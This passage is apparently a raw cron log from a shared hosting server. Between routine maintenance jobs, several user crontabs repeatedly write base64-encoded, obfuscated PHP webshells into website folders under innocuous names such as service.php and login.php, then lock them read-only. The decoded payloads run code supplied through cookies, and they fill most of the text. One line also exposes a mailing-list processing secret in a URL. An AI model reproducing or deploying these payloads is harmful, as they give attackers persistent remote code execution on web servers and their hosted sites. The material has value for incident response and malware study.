JiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:28:01 medusa CROND[6257]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:29:01 medusa CROND[23223]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:29:01 medusa CROND[23234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:29:01 medusa CROND[23300]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:29:01 medusa CROND[23421]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 03:29:01 medusa CROND[23423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:29:01 medusa CROND[23424]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:29:01 medusa CROND[23427]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:29:01 medusa CROND[23428]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:29:01 medusa CROND[23429]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:29:01 medusa CROND[23430]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:29:01 medusa CROND[23432]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:29:01 medusa CROND[23433]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:29:01 medusa CROND[23436]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:30:01 medusa CROND[9210]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:30:01 medusa CROND[9217]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:30:01 medusa CROND[9239]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 03:30:01 medusa CROND[9569]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:30:01 medusa CROND[9602]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:30:01 medusa CROND[9603]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:30:01 medusa CROND[9605]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:30:01 medusa CROND[9606]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:30:01 medusa CROND[9607]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 03:30:01 medusa CROND[9609]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:30:01 medusa CROND[9610]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:30:01 medusa CROND[9614]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:30:01 medusa CROND[9617]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:30:01 medusa CROND[9618]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:30:01 medusa CROND[9623]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 03:30:01 medusa CROND[9622]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:30:01 medusa CROND[9625]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 03:30:01 medusa CROND[9621]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 03:30:01 medusa CROND[9629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:30:01 medusa CROND[9634]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:30:01 medusa CROND[9644]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:30:01 medusa CROND[9643]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 03:30:01 medusa CROND[9645]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 03:30:01 medusa CROND[9647]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:30:01 medusa CROND[9656]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:30:01 medusa CROND[9658]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:30:01 medusa CROND[9666]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 03:30:01 medusa CROND[9667]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:30:01 medusa CROND[9669]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:30:01 medusa CROND[9668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:30:01 medusa CROND[9648]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
